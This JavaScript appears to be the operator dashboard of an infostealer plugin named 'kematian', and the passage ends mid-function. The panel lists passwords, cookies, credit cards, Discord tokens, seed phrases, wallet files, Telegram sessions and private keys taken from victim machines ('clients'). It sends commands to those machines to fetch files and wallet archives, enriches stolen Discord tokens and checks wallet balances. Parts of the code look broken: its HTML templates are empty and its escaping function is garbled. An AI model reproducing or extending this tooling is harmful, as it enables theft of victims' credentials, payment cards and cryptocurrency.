(() => {
const PLUGIN_ID = "kematian";
const PAGE_SIZE = 1000;
const ROW_H = 28;
const VBUF = 20;
const params = new URLSearchParams(window.location.search);
const clientId = params.get("clientId") || "";
const isGlobal = !clientId;
const __ctx = clientId || "__global__";
if (window.__kematianCtx === __ctx) return;
if (window.__kematianSSE) { window.__kematianSSE.close(); window.__kematianSSE = null; }
if (window.__kematianPoll) { clearInterval(window.__kematianPoll); window.__kematianPoll = null; }
window.__kematianCtx = __ctx;
const $ = (id) => document.getElementById(id);
// ── DOM refs ──────────────────────────────────────────────────
const logEl = $("log");
const dataCard = $("data-card");
const tabsEl = $("tabs");
const bfiltsEl = $("bfilts");
const cfiltsEl = $("cfilts");
const searchEl = $("search");
const thead = $("data-thead");
const tbody = $("data-tbody");
const tableWrap = document.querySelector(".table-wrap");
const noRows = $("no-rows");
const rowCount = $("row-count");
const revealToggle = $("reveal-toggle");
const pagBar = $("pagination-bar");
const pagPrev = $("page-prev");
const pagNext = $("page-next");
const pagInfo = $("page-info");
const clientCard = $("client-card");
const clientIdEl = $("client-id");
const statusDot = $("status-dot");
const statusText = $("status-text");
const collectBtn = $("collect-btn");
const scanFilesBtn = $("scan-files-btn");
const scanExtBtn = $("scan-ext-btn");
const scanWalletsBtn = $("scan-wallets-btn");
const scanTgBtn = $("scan-tg-btn");
const scanKeysBtn = $("scan-keys-btn");
const scanAppsBtn = $("scan-apps-btn");
const pingBtn = $("ping-btn");
const exportBtn = $("export-btn");
const discordViewEl = $("discord-view");
const dpGrid = $("dp-grid");
const enrichAllBtn = $("enrich-all-btn");
const enrichStatus = $("enrich-status");
const walletViewEl = $("wallet-view");
const wlGrid = $("wl-grid");
const checkBalancesBtn = $("check-balances-btn");
const balanceStatus = $("balance-status");
const settingsCard = $("settings-card");
const settingsGrid = $("settings-grid");
const settingsAdminMsg = $("settings-admin-msg");
const settingsStatus = $("settings-status");
const autoHarvestToggle = $("auto-harvest-toggle");
const autoFilesToggle = $("auto-files-toggle");
const autoExtToggle = $("auto-ext-toggle");
const globalCard = $("global-card");
const clientsCard = $("clients-card");
const clientsList = $("clients-list");
const globalStats = $("global-stats");
const refreshBtn = $("refresh-btn");
const exportAllBtn = $("export-all-btn");
const clearAllBtn = $("clear-all-btn");
const summaryCard = $("summary-card");
const summaryGrid = $("summary-grid");
const summaryTotals = $("summary-totals");
const searchAllView = $("search-all-view");
const searchAllGrid = $("search-all-grid");
const searchAllEmpty = $("search-all-empty");
// ── Column definitions ────────────────────────────────────────
const CLIENT_COL = { k: "clientId", h: "Client", clientbadge: true };
const TABS = [
{
id: "passwords", label: "Passwords", key: "passwords", rpc: "list_passwords",
cols: [
{ k: "url", h: "URL", grow: true },
{ k: "username", h: "Username" },
{ k: "password", h: "Password", sensitive: true },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "cookies", label: "Cookies", key: "cookies", rpc: "list_cookies",
cols: [
{ k: "host", h: "Host", grow: true },
{ k: "name", h: "Name" },
{ k: "value", h: "Value", truncate: true },
{ k: "path", h: "Path" },
{ k: "secure", h: "Sec", bool: true },
{ k: "httpOnly", h: "HTTP", bool: true },
{ k: "expiresUtc", h: "Expires", chromets: true },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "autofill", label: "Autofill", key: "autofill", rpc: "list_autofill",
cols: [
{ k: "name", h: "Field", grow: true },
{ k: "value", h: "Value", truncate: true },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "history", label: "History", key: "history", rpc: "list_history",
cols: [
{ k: "url", h: "URL", grow: true },
{ k: "title", h: "Title" },
{ k: "visitTimeUnix", h: "Visited", unixtimestamp: true },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "bookmarks", label: "Bookmarks", key: "bookmarks", rpc: "list_bookmarks",
cols: [
{ k: "name", h: "Name", grow: true },
{ k: "url", h: "URL", truncate: true },
{ k: "type", h: "Type" },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "cards", label: "Cards", key: "creditCards", rpc: "list_credit_cards",
cols: [
{ k: "nameOnCard", h: "Name on Card", grow: true },
{ k: "cardNumber", h: "Card Number", sensitive: true },
{ k: "expirationMonth", h: "Month" },
{ k: "expirationYear", h: "Year" },
{ k: "nickname", h: "Nickname" },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
],
},
{
id: "discord", label: "Discord", key: "discordTokens", rpc: "list_discord_tokens",
cols: [
{ k: "token", h: "Token", grow: true, sensitive: true },
{ k: "source", h: "Source" },
],
},
{
id: "files", label: "Files", key: "files", rpc: "list_files",
cols: [
{ k: "dir", h: "Location" },
{ k: "name", h: "Name", grow: true },
{ k: "ext", h: "Ext" },
{ k: "size", h: "Size", filesize: true },
{ k: "modified", h: "Modified", unixtimestamp: true },
{ k: "tags", h: "Tags", seedtag: true },
{ k: "_dl", h: "", filedownload: true },
],
},
{
id: "extensions", label: "Extensions", key: "extensions", rpc: "list_extensions",
cols: [
{ k: "name", h: "Name", grow: true },
{ k: "version", h: "Version" },
{ k: "extId", h: "Ext ID", mono: true },
{ k: "category", h: "Type", walletbadge: true },
{ k: "browser", h: "Browser", badge: true },
{ k: "profile", h: "Profile" },
{ k: "_dl", h: "", extdownload: true },
],
},
{
id: "wallets", label: "Wallets", key: "wallets", rpc: "list_wallets",
cols: [
{ k: "name", h: "Wallet", grow: true },
{ k: "path", h: "Path", truncate: true },
{ k: "files", h: "Files" },
{ k: "size", h: "Size", filesize: true },
{ k: "_dl", h: "", walletdownload: true },
],
},
{
id: "telegram", label: "Telegram", key: "telegram", rpc: "list_telegram",
cols: [
{ k: "account", h: "Account", grow: true },
{ k: "path", h: "Path", truncate: true },
{ k: "size", h: "Size", filesize: true },
{ k: "hasContent", h: "Downloaded", bool: true },
],
},
{
id: "keys", label: "Keys", key: "keys", rpc: "list_keys",
cols: [
{ k: "type", h: "Type", badge: true },
{ k: "name", h: "Name", grow: true },
{ k: "path", h: "Path", truncate: true },
{ k: "size", h: "Size", filesize: true },
{ k: "content", h: "Content", sensitive: true, truncate: true },
],
},
{
id: "seeds", label: "Seeds", key: "seeds", rpc: "list_seeds",
cols: [
{ k: "phrase", h: "Seed Phrase", sensitive: true, grow: true },
{ k: "words", h: "Words" },
{ k: "valid", h: "BIP39", bool: true },
{ k: "source", h: "Source", badge: true },
{ k: "path", h: "Path", truncate: true },
],
},
{
id: "apps", label: "Apps", key: "appCredentials", rpc: "list_app_credentials",
cols: [
{ k: "application", h: "Application", badge: true },
{ k: "host", h: "Host", grow: true },
{ k: "port", h: "Port" },
{ k: "username", h: "Username" },
{ k: "password", h: "Password", sensitive: true },
{ k: "protocol", h: "Protocol", badge: true },
{ k: "extra", h: "Extra", truncate: true },
],
},
];
const BROWSERS = [
"Chrome", "Edge", "Brave", "Vivaldi", "Yandex",
"Arc", "Opera", "Opera GX", "Firefox", "Waterfox",
];
const DATA_KEYS = [
"passwords", "cookies", "autofill", "history", "bookmarks",
"creditCards", "discordTokens", "files", "extensions", "wallets",
"telegram", "keys", "seeds", "appCredentials",
];
// ── Discord helpers ───────────────────────────────────────────
const DISCORD_BADGE_FLAGS = [
{ f: 1 << 0, label: "Staff", title: "Discord Staff" },
{ f: 1 << 1, label: "Partner", title: "Partnered Server Owner" },
{ f: 1 << 2, label: "HypeSquad", title: "HypeSquad Events" },
{ f: 1 << 3, label: "Bug Hunter", title: "Bug Hunter Level 1" },
{ f: 1 << 6, label: "Bravery", title: "HypeSquad Bravery" },
{ f: 1 << 7, label: "Brilliance", title: "HypeSquad Brilliance" },
{ f: 1 << 8, label: "Balance", title: "HypeSquad Balance" },
{ f: 1 << 9, label: "Early Sup.", title: "Early Supporter" },
{ f: 1 << 14, label: "Bug Hunter II", title: "Bug Hunter Level 2" },
{ f: 1 << 17, label: "Bot Dev", title: "Early Verified Bot Developer" },
{ f: 1 << 18, label: "Moderator", title: "Certified Discord Moderator" },
{ f: 1 << 22, label: "Active Dev", title: "Active Developer" },
];
const NITRO_LABELS = ["—", "Nitro Classic", "Nitro", "Nitro Basic"];
function discordSnowflakeDate(id) {
if (!id) return null;
try { return new Date(Number(BigInt(id) >> 22n) + 1420070400000); }
catch { return null; }
}
function discordAvatarUrl(userId, hash) {
if (hash && userId)
return `https://cdn.discordapp.com/avatars/${userId}/${hash}.webp?size=64`;
if (userId) {
try { return `https://cdn.discordapp.com/embed/avatars/${Number(BigInt(userId) % 6n)}.png`; }
catch { return null; }
}
return null;
}
function dpBadgesHtml(flags) {
if (!flags) return "";
return DISCORD_BADGE_FLAGS
.filter(b => (flags & b.f) !== 0)
.map(b => `${esc(b.label)}`)
.join("");
}
function dpNitroHtml(tier) {
if (!tier) return "";
return `${esc(NITRO_LABELS[tier] || "Nitro")}`;
}
// ── State ─────────────────────────────────────────────────────
let lastResults = null;
let tabData = {};
let activeTab = "passwords";
let activeBrowser = "all";
let activeClient = "all";
let sortCol = null;
let sortAsc = true;
let showSensitive = false;
let knownClients = [];
let searchTimer = null;
let userRole = null;
let historyView = "all"; // "all" or "top"
let searchAllResults = null;
const pendingFetches = new Map();
const pendingExtZips = new Map();
const pendingWalletZips = new Map();
let walletBalances = {};
let walletCrackResults = {};
// ── Virtual scroll ────────────────────────────────────────────
let virtRows = [];
let virtCols = [];
let scrollRAF = null;
function makeSpacer() {
const tr = document.createElement("tr");
const td = document.createElement("td");
td.style.cssText = "height:0;padding:0;border:0;";
tr.appendChild(td);
return tr;
}
const topSpacer = makeSpacer();
const botSpacer = makeSpacer();
tableWrap.addEventListener("scroll", () => {
if (scrollRAF) return;
scrollRAF = requestAnimationFrame(() => { scrollRAF = null; vRender(); });
}, { passive: true });
function startVirt(rows, cols, serverTotal) {
virtRows = rows;
virtCols = cols;
const span = cols.length || 1;
topSpacer.cells[0].colSpan = span;
botSpacer.cells[0].colSpan = span;
tbody.innerHTML = "";
tbody.appendChild(topSpacer);
tbody.appendChild(botSpacer);
tableWrap.scrollTop = 0;
const total = serverTotal !== undefined ? serverTotal : rows.length;
noRows.style.display = total === 0 ? "" : "none";
rowCount.textContent = `${total.toLocaleString()} ${total === 1 ? "entry" : "entries"}`;
vRender();
}
function vRender() {
if (!virtRows.length) return;
const scrollTop = tableWrap.scrollTop;
const viewH = tableWrap.clientHeight || 520;
const first = Math.max(0, Math.floor(scrollTop / ROW_H) - VBUF);
const last = Math.min(virtRows.length, Math.ceil((scrollTop + viewH) / ROW_H) + VBUF);
topSpacer.cells[0].style.height = (first * ROW_H) + "px";
botSpacer.cells[0].style.height = ((virtRows.length - last) * ROW_H) + "px";
while (tbody.rows.length > 2) tbody.deleteRow(1);
for (let i = first; i < last; i++)
tbody.insertBefore(buildRow(virtRows[i], virtCols), botSpacer);
}
// ── Utilities ─────────────────────────────────────────────────
function log(line) {
logEl.textContent = `[${new Date().toLocaleTimeString()}] ${line}\n` + logEl.textContent;
}
function esc(s) {
return String(s).replace(/&/g, "&").replace(//g, ">").replace(/"/g, """);
}
function chromeTs(v) {
if (!v || v === 0) return "";
const ms = Math.round(v / 1000) - 11644473600000;
return ms <= 0 ? "" : new Date(ms).toLocaleString();
}
function unixTs(v) {
return (!v || v === 0) ? "" : new Date(v * 1000).toLocaleString();
}
function humanSize(bytes) {
if (bytes === 0) return "0 B";
const units = ["B", "KB", "MB", "GB"];
const i = Math.floor(Math.log(bytes) / Math.log(1024));
return (bytes / Math.pow(1024, i)).toFixed(i === 0 ? 0 : 1) + " " + units[i];
}
function shortId(id) { return id ? String(id).slice(0, 8) : "?"; }
function downloadBase64(content, filename, mime) {
const raw = atob(content);
const bytes = new Uint8Array(raw.length);
for (let i = 0; i < raw.length; i++) bytes[i] = raw.charCodeAt(i);
const blob = new Blob([bytes], mime ? { type: mime } : undefined);
const a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = filename;
a.click();
URL.revokeObjectURL(a.href);
}
// ── Network ───────────────────────────────────────────────────
async function sendEvent(event, payload) {
if (!clientId) { log("ERROR: no clientId"); return; }
try {
const res = await fetch(
`/api/clients/${encodeURIComponent(clientId)}/plugins/${PLUGIN_ID}/event`,
{ method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ event, payload }) },
);
if (!res.ok) log(`send failed: ${res.status}`);
} catch (e) { log(`send error: ${e.message}`); }
}
async function rpc(method, params) {
const res = await fetch(`/api/plugins/${PLUGIN_ID}/rpc`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ method, params: params || {} }),
});
const data = await res.json();
if (!data.ok) {
const msg = data.error || "RPC error";
console.error(`[kematian] RPC ${method} failed (${res.status}): ${msg}`);
throw new Error(msg);
}
return data.result;
}
async function fetchUserRole() {
try {
const res = await fetch("/api/auth/me");
if (!res.ok) return null;
const data = await res.json();
return data.role || null;
} catch { return null; }
}
// ── Cell rendering ────────────────────────────────────────────
function cellContent(col, raw, reveal) {
const v = raw == null ? "" : raw;
if (col.clientbadge)
return `${esc(shortId(String(v)))}`;
if (col.bool)
return v ? `✓` : `—`;
if (col.badge)
return `${esc(String(v || ""))}`;
if (col.chromets)
return esc(chromeTs(v));
if (col.unixtimestamp)
return esc(unixTs(v));
if (col.filesize)
return esc(humanSize(Number(v) || 0));
if (col.mono)
return `${esc(String(v || ""))}`;
if (col.seedtag) {
if (!v) return "";
return String(v).split(",").filter(Boolean)
.map(t => t === "seed"
? `seed phrase`
: `${esc(t)}`)
.join(" ");
}
if (col.walletbadge) {
if (v === "wallet") return `Wallet`;
return "";
}
if (col.filedownload)
return isGlobal ? "" : ``;
if (col.extdownload)
return isGlobal ? "" : ``;
if (col.walletdownload)
return isGlobal ? "" : ``;
if (col.sensitive) {
const text = String(v);
if (!text) return `—`;
return reveal
? `${esc(text)}`
: `••••••••`;
}
const text = String(v);
if (col.truncate && text.length > 80)
return `${esc(text.slice(0, 80))}…`;
return esc(text);
}
function sortValue(col, row) {
const v = row[col.k];
if (col.bool) return v ? 1 : 0;
if (col.chromets || col.unixtimestamp) return v || 0;
if (col.filesize) return Number(v) || 0;
if (col.filedownload || col.clientbadge) return String(v || "").toLowerCase();
if (typeof v === "number") return v;
return String(v || "").toLowerCase();
}
function applySortInPlace(rows, cols) {
if (sortCol === null || sortCol >= cols.length) return;
const col = cols[sortCol];
rows.sort((a, b) => {
const av = sortValue(col, a), bv = sortValue(col, b);
if (av < bv) return sortAsc ? -1 : 1;
if (av > bv) return sortAsc ? 1 : -1;
return 0;
});
}
function buildRow(row, cols) {
const tr = document.createElement("tr");
for (const col of cols) {
const td = document.createElement("td");
td.innerHTML = cellContent(col, row[col.k], showSensitive);
td.addEventListener("click", () => {
if (!isGlobal && col.filedownload) { fetchAndDownload(row.path, row.name, td); return; }
if (!isGlobal && col.extdownload) { fetchAndDownloadExt(row.path, row.extId, td); return; }
if (!isGlobal && col.walletdownload) { fetchAndDownloadWallet(row.path, row.name, td); return; }
const val = col.sensitive ? String(row[col.k] || "")
: col.chromets ? chromeTs(row[col.k])
: col.unixtimestamp ? unixTs(row[col.k])
: col.filesize ? String(row[col.k] || "")
: String(row[col.k] || "");
if (!val) return;
navigator.clipboard.writeText(val).catch(() => {});
td.classList.add("copied-flash");
setTimeout(() => td.classList.remove("copied-flash"), 600);
});
tr.appendChild(td);
}
return tr;
}
function buildHeader(cols) {
thead.innerHTML = "";
const trh = document.createElement("tr");
cols.forEach((col, i) => {
const th = document.createElement("th");
let arrow = "⇅", cls = "";
if (sortCol === i) { arrow = sortAsc ? "↑" : "↓"; cls = sortAsc ? "sort-asc" : "sort-desc"; }
th.className = cls;
th.innerHTML = `${esc(col.h)} ${arrow}`;
th.addEventListener("click", () => {
if (sortCol === i) sortAsc = !sortAsc; else { sortCol = i; sortAsc = true; }
renderTable();
});
trh.appendChild(th);
});
thead.appendChild(trh);
}
// ── Tabs ──────────────────────────────────────────────────────
function getGlobalTabTotal(tabKey) {
if (activeClient !== "all") {
const c = knownClients.find(x => x.clientId === activeClient);
return c ? (c[tabKey] || 0) : 0;
}
return knownClients.reduce((sum, c) => sum + (c[tabKey] || 0), 0);
}
function buildTabs() {
tabsEl.innerHTML = "";
const q = searchEl.value.trim();
if (q) {
const saBtn = document.createElement("button");
saBtn.className = "tab tab-search" + (activeTab === "__search__" ? " active" : "");
const saCount = searchAllResults ? searchAllResults.groups.reduce((s, g) => s + g.total, 0) : 0;
saBtn.innerHTML = `Search All ${saCount.toLocaleString()}`;
saBtn.addEventListener("click", () => {
activeTab = "__search__";
sortCol = null; sortAsc = true;
buildTabs(); buildBfilts();
if (isGlobal) { buildCfilts(); loadSearchAll(); }
else renderTable();
});
tabsEl.appendChild(saBtn);
}
for (const t of TABS) {
const btn = document.createElement("button");
btn.className = "tab" + (t.id === activeTab ? " active" : "");
const count = isGlobal
? getGlobalTabTotal(t.key).toLocaleString()
: (lastResults ? (lastResults[t.key] || []).length : 0);
btn.innerHTML = `${esc(t.label)} ${count}`;
btn.addEventListener("click", () => {
activeTab = t.id;
sortCol = null; sortAsc = true;
buildTabs(); buildBfilts();
if (isGlobal) {
buildCfilts();
if (tabData[t.key]) tabData[t.key].offset = 0;
loadGlobalTab();
} else {
renderTable();
}
});
tabsEl.appendChild(btn);
}
}
// ── Browser filter ────────────────────────────────────────────
function buildBfilts() {
const tab = TABS.find(t => t.id === activeTab);
if (!tab?.cols.some(c => c.k === "browser")) { bfiltsEl.style.display = "none"; return; }
bfiltsEl.style.display = "";
bfiltsEl.innerHTML = "";
// History view toggle
if (activeTab === "history") {
const viewToggle = document.createElement("div");
viewToggle.className = "history-view-toggle";
for (const v of [{ label: "All", value: "all" }, { label: "Top Sites", value: "top" }]) {
const btn = document.createElement("button");
btn.className = "bfilt" + (historyView === v.value ? " active" : "");
btn.textContent = v.label;
btn.addEventListener("click", () => {
historyView = v.value;
buildBfilts();
renderTable();
});
viewToggle.appendChild(btn);
}
bfiltsEl.appendChild(viewToggle);
const sep = document.createElement("span");
sep.className = "bfilt-sep";
bfiltsEl.appendChild(sep);
}
const pills = [{ label: "All", value: "all" }, ...BROWSERS.map(b => ({ label: b, value: b }))];
for (const p of pills) {
const btn = document.createElement("button");
btn.className = "bfilt" + (activeBrowser === p.value ? " active" : "");
btn.dataset.browser = p.value;
btn.textContent = p.label;
btn.addEventListener("click", () => {
activeBrowser = p.value;
buildBfilts();
if (isGlobal) {
const t2 = TABS.find(t => t.id === activeTab);
if (t2?.key && tabData[t2.key]) tabData[t2.key].offset = 0;
loadGlobalTab();
} else {
renderTable();
}
});
bfiltsEl.appendChild(btn);
}
}
// ── Client filter ─────────────────────────────────────────────
function buildCfilts() {
if (!isGlobal || !cfiltsEl) return;
if (knownClients.length === 0) { cfiltsEl.style.display = "none"; return; }
cfiltsEl.style.display = "";
cfiltsEl.innerHTML = "";
const pills = [
{ label: "All Clients", value: "all" },
...knownClients.map(c => ({ label: shortId(c.clientId), value: c.clientId, full: c.clientId })),
];
for (const p of pills) {
const btn = document.createElement("button");
btn.className = "cfilt" + (activeClient === p.value ? " active" : "");
btn.textContent = p.label;
if (p.full) btn.title = p.full;
btn.addEventListener("click", () => {
activeClient = p.value;
const tab = TABS.find(t => t.id === activeTab);
if (tab?.key && tabData[tab.key]) tabData[tab.key].offset = 0;
buildCfilts(); buildTabs();
loadGlobalTab();
});
cfiltsEl.appendChild(btn);
}
}
// ── Search All ────────────────────────────────────────────────
async function loadSearchAll() {
const q = searchEl.value.trim();
if (!q) { searchAllResults = null; renderTable(); return; }
const p = { search: q, limit: 10 };
if (activeClient !== "all") p.clientId = activeClient;
try {
searchAllResults = await rpc("global_search", p);
buildTabs();
renderTable();
} catch (e) { log(`Search error: ${e.message}`); }
}
function renderSearchAll() {
if (!searchAllView || !searchAllGrid) return;
searchAllGrid.innerHTML = "";
const groups = searchAllResults?.groups || [];
searchAllEmpty.style.display = groups.length === 0 ? "" : "none";
for (const g of groups) {
const tab = TABS.find(t => t.key === g.key);
if (!tab) continue;
const cols = isGlobal ? [CLIENT_COL, ...tab.cols] : tab.cols;
const displayCols = cols.filter(c => !c.filedownload && !c.extdownload && !c.walletdownload);
const previewCols = displayCols.slice(0, 5);
const section = document.createElement("div");
section.className = "search-group";
const header = document.createElement("div");
header.className = "search-group-header";
header.innerHTML = `
${esc(g.label)}
${g.total.toLocaleString()}
View all →
`;
header.addEventListener("click", () => {
activeTab = tab.id;
sortCol = null; sortAsc = true;
buildTabs(); buildBfilts();
if (isGlobal) {
buildCfilts();
if (tabData[tab.key]) tabData[tab.key].offset = 0;
searchEl.value = searchEl.value;
loadGlobalTab();
} else {
renderTable();
}
});
section.appendChild(header);
const tbl = document.createElement("table");
tbl.className = "search-group-table";
const thRow = document.createElement("tr");
for (const col of previewCols) {
const th = document.createElement("th");
th.textContent = col.h;
if (col.grow) th.style.width = "40%";
thRow.appendChild(th);
}
tbl.appendChild(thRow);
for (const row of g.rows) {
const tr = document.createElement("tr");
for (const col of previewCols) {
const td = document.createElement("td");
if (col.grow) td.className = "sg-grow";
td.innerHTML = cellContent(col, row[col.k], showSensitive);
td.addEventListener("click", () => {
const val = col.sensitive ? String(row[col.k] || "")
: col.chromets ? chromeTs(row[col.k])
: String(row[col.k] || "");
if (!val) return;
navigator.clipboard.writeText(val).catch(() => {});
td.classList.add("copied-flash");
setTimeout(() => td.classList.remove("copied-flash"), 600);
});
tr.appendChild(td);
}
tbl.appendChild(tr);
}
section.appendChild(tbl);
if (g.total > g.rows.length) {
const more = document.createElement("div");
more.className = "search-group-more";
more.textContent = `+ ${(g.total - g.rows.length).toLocaleString()} more results — click to view all`;
more.addEventListener("click", () => header.click());
section.appendChild(more);
}
searchAllGrid.appendChild(section);
}
}
function loadSearchAllLocal() {
const q = searchEl.value.trim().toLowerCase();
if (!q || !lastResults) { searchAllResults = null; buildTabs(); return; }
const groups = [];
for (const tab of TABS) {
const rows = lastResults[tab.key] || [];
if (!rows.length) continue;
const cols = tab.cols;
const matched = rows.filter(r =>
cols.some(c => String(r[c.k] || "").toLowerCase().includes(q))
);
if (matched.length > 0) {
groups.push({ key: tab.key, label: tab.label, total: matched.length, rows: matched.slice(0, 10) });
}
}
searchAllResults = { groups };
buildTabs();
}
// ── Pagination ────────────────────────────────────────────────
function updatePagination(tabKey) {
if (!isGlobal || !pagBar) return;
const td = tabData[tabKey];
if (!td || td.total <= PAGE_SIZE) { pagBar.style.display = "none"; return; }
pagBar.style.display = "";
const from = td.offset + 1;
const to = Math.min(td.offset + td.rows.length, td.total);
pagInfo.textContent = `${from.toLocaleString()}–${to.toLocaleString()} of ${td.total.toLocaleString()}`;
pagPrev.disabled = td.offset === 0;
pagNext.disabled = td.offset + td.rows.length >= td.total;
}
// ── Render table ──────────────────────────────────────────────
function renderTable() {
if (activeTab === "__search__") {
tableWrap.style.display = "none";
noRows.style.display = "none";
if (discordViewEl) discordViewEl.style.display = "none";
if (walletViewEl) walletViewEl.style.display = "none";
if (searchAllView) searchAllView.style.display = "";
if (pagBar) pagBar.style.display = "none";
renderSearchAll();
const total = searchAllResults?.groups.reduce((s, g) => s + g.total, 0) || 0;
rowCount.textContent = `${total.toLocaleString()} ${total === 1 ? "result" : "results"}`;
return;
}
if (searchAllView) searchAllView.style.display = "none";
const tab = TABS.find(t => t.id === activeTab);
if (!tab) return;
if (activeTab === "discord") {
tableWrap.style.display = "none";
if (discordViewEl) discordViewEl.style.display = "";
if (walletViewEl) walletViewEl.style.display = "none";
loadDiscordProfiles();
return;
}
if (activeTab === "wallets") {
tableWrap.style.display = "none";
if (discordViewEl) discordViewEl.style.display = "none";
if (walletViewEl) walletViewEl.style.display = "";
loadWalletCards();
return;
}
if (discordViewEl) discordViewEl.style.display = "none";
if (walletViewEl) walletViewEl.style.display = "none";
tableWrap.style.display = "";
// Top Sites view for history tab
if (activeTab === "history" && historyView === "top") {
let rows;
if (isGlobal) {
const td = tabData[tab.key];
rows = td?.rows || [];
} else {
rows = lastResults?.[tab.key] || [];
}
if (activeBrowser !== "all") rows = rows.filter(r => r.browser === activeBrowser);
const q = searchEl.value.trim().toLowerCase();
if (q) rows = rows.filter(r => (r.url || "").toLowerCase().includes(q) || (r.title || "").toLowerCase().includes(q));
// Group by domain
const domainMap = {};
for (const r of rows) {
let domain;
try { domain = new URL(r.url).hostname.replace(/^www\./, ""); } catch { domain = r.url || "unknown"; }
if (!domainMap[domain]) domainMap[domain] = { domain, visits: 0, lastVisit: 0, titles: new Set() };
domainMap[domain].visits++;
if (r.visitTimeUnix > domainMap[domain].lastVisit) domainMap[domain].lastVisit = r.visitTimeUnix;
if (r.title) domainMap[domain].titles.add(r.title);
}
const sorted = Object.values(domainMap).sort((a, b) => b.visits - a.visits);
const topCols = [
{ k: "domain", h: "Domain", grow: true },
{ k: "visits", h: "Visits" },
{ k: "lastVisit", h: "Last Visit", unixtimestamp: true },
];
buildHeader(topCols);
const topRows = sorted.map(d => ({
domain: d.domain,
visits: d.visits,
lastVisit: d.lastVisit,
}));
startVirt(topRows, topCols);
if (isGlobal) updatePagination(tab.key);
return;
}
const allCols = isGlobal ? [CLIENT_COL, ...tab.cols] : tab.cols;
const cols = allCols.filter(c => !(isGlobal && c.filedownload));
let rows, serverTotal;
if (isGlobal) {
const td = tabData[tab.key];
if (!td) { buildHeader(cols); startVirt([], cols); updatePagination(tab.key); return; }
rows = [...td.rows];
serverTotal = td.total;
} else {
if (!lastResults) { buildHeader(cols); startVirt([], cols); return; }
rows = [...(lastResults[tab.key] || [])];
if (activeBrowser !== "all" && tab.cols.some(c => c.k === "browser"))
rows = rows.filter(r => r.browser === activeBrowser);
const q = searchEl.value.trim().toLowerCase();
if (q) rows = rows.filter(r => cols.some(c => String(r[c.k] || "").toLowerCase().includes(q)));
}
applySortInPlace(rows, cols);
buildHeader(cols);
startVirt(rows, cols, serverTotal);
if (isGlobal) updatePagination(tab.key);
}
// ── File fetch (per-client) ───────────────────────────────────
function fetchAndDownload(path, name, tdEl) {
if (pendingFetches.has(path)) return;
const btn = tdEl.querySelector(".btn-dl");
if (btn) { btn.textContent = "…"; btn.disabled = true; }
pendingFetches.set(path, { name, btn });
sendEvent("fetch_file", { path });
log(`Fetching: ${name}`);
}
function fetchAndDownloadExt(path, extId, tdEl) {
if (pendingExtZips.has(path)) return;
const btn = tdEl.querySelector(".btn-dl");
if (btn) { btn.textContent = "…"; btn.disabled = true; }
pendingExtZips.set(path, { extId, btn });
sendEvent("fetch_ext_zip", { path, extId });
log(`Fetching extension ZIP: ${extId || path}`);
}
function fetchAndDownloadWallet(path, name, tdEl) {
if (pendingWalletZips.has(path)) return;
const btn = tdEl.querySelector(".btn-dl");
if (btn) { btn.textContent = "…"; btn.disabled = true; }
pendingWalletZips.set(path, { name, btn });
sendEvent("fetch_wallet_zip", { path, name });
log(`Fetching wallet ZIP: ${name || path}`);
}
// ── Discord profiles ──────────────────────────────────────────
function renderDiscordCard(p) {
const div = document.createElement("div");
div.className = "dp-card";
div.dataset.token = p.token || "";
div.dataset.clientId = p.clientId || "";
const enriched = !!p.enriched_at && !p.error;
const tokenHtml = `
Token
${esc(p.token || "")}
`;
const sourceTs = `${esc(p.source || "")} · ${p.captured_at ? new Date(p.captured_at).toLocaleString() : ""}`;
if (p.error) {
div.innerHTML = `
Lookup failed
${esc(p.error)}
${sourceTs}
${tokenHtml}
`;
} else if (!enriched) {
div.innerHTML = `
Not yet looked up
${sourceTs}
${tokenHtml}
`;
} else {
const created = discordSnowflakeDate(p.user_id);
const avatarUrl = discordAvatarUrl(p.user_id, p.avatar);
const displayName = p.global_name || p.username || "—";
const tag = p.username
? (p.discriminator && p.discriminator !== "0" ? `${p.username}#${p.discriminator}` : p.username)
: "—";
const allFlags = (p.flags || 0) | (p.public_flags || 0);
const badges = dpBadgesHtml(allFlags) + dpNitroHtml(p.premium_type);
const avatarHtml = avatarUrl
? `
`
: `${esc((displayName[0] || "?").toUpperCase())}
`;
const check = "✓", cross = "✕";
div.innerHTML = `
${avatarHtml}
${esc(displayName)}
${esc(tag)}
${created ? "Created " + created.toLocaleDateString() : ""} · ${esc(p.locale || "")} · ${esc(p.source || "")}
${badges}
${p.friends_count != null ? p.friends_count : "—"}Friends
${p.guilds_count != null ? p.guilds_count : "—"}Servers
${p.mfa_enabled ? check : cross}2FA
${p.phone ? check : cross}Phone
${p.verified ? check : cross}Email ver.
${p.email ? `Email${esc(p.email)}
` : ""}
${p.guild_names ? `Servers${esc(p.guild_names.split("|").join(", "))}
` : ""}
${tokenHtml}
${p.user_id ? `ID: ${esc(p.user_id)}` : ""}
`;
}
const tokenEl = div.querySelector(".dp-token");
if (tokenEl) {
tokenEl.addEventListener("click", () => {
navigator.clipboard.writeText(p.token || "").catch(() => {});
tokenEl.classList.add("copied-flash");
setTimeout(() => tokenEl.classList.remove("copied-flash"), 600);
});
}
return div;
}
async function loadDiscordProfiles() {
if (!discordViewEl || discordViewEl.style.display === "none") return;
try {
const p = {};
if (!isGlobal && clientId) p.clientId = clientId;
else if (isGlobal && activeClient !== "all") p.clientId = activeClient;
const q = searchEl.value.trim();
if (q) p.search = q;
const result = await rpc("list_discord_profiles", p);
dpGrid.innerHTML = "";
if (!result.rows.length) {
dpGrid.innerHTML = 'No Discord tokens captured yet.
';
} else {
for (const row of result.rows) dpGrid.appendChild(renderDiscordCard(row));
}
rowCount.textContent = `${result.total.toLocaleString()} ${result.total === 1 ? "token" : "tokens"}`;
} catch (e) {
log(`Discord profiles error: ${e.message}`);
}
}
// ── Wallet card view ───────────────────────────────────────────
function renderWalletCard(w) {
const div = document.createElement("div");
div.className = "wl-card";
const isExt = w.type === "extension";
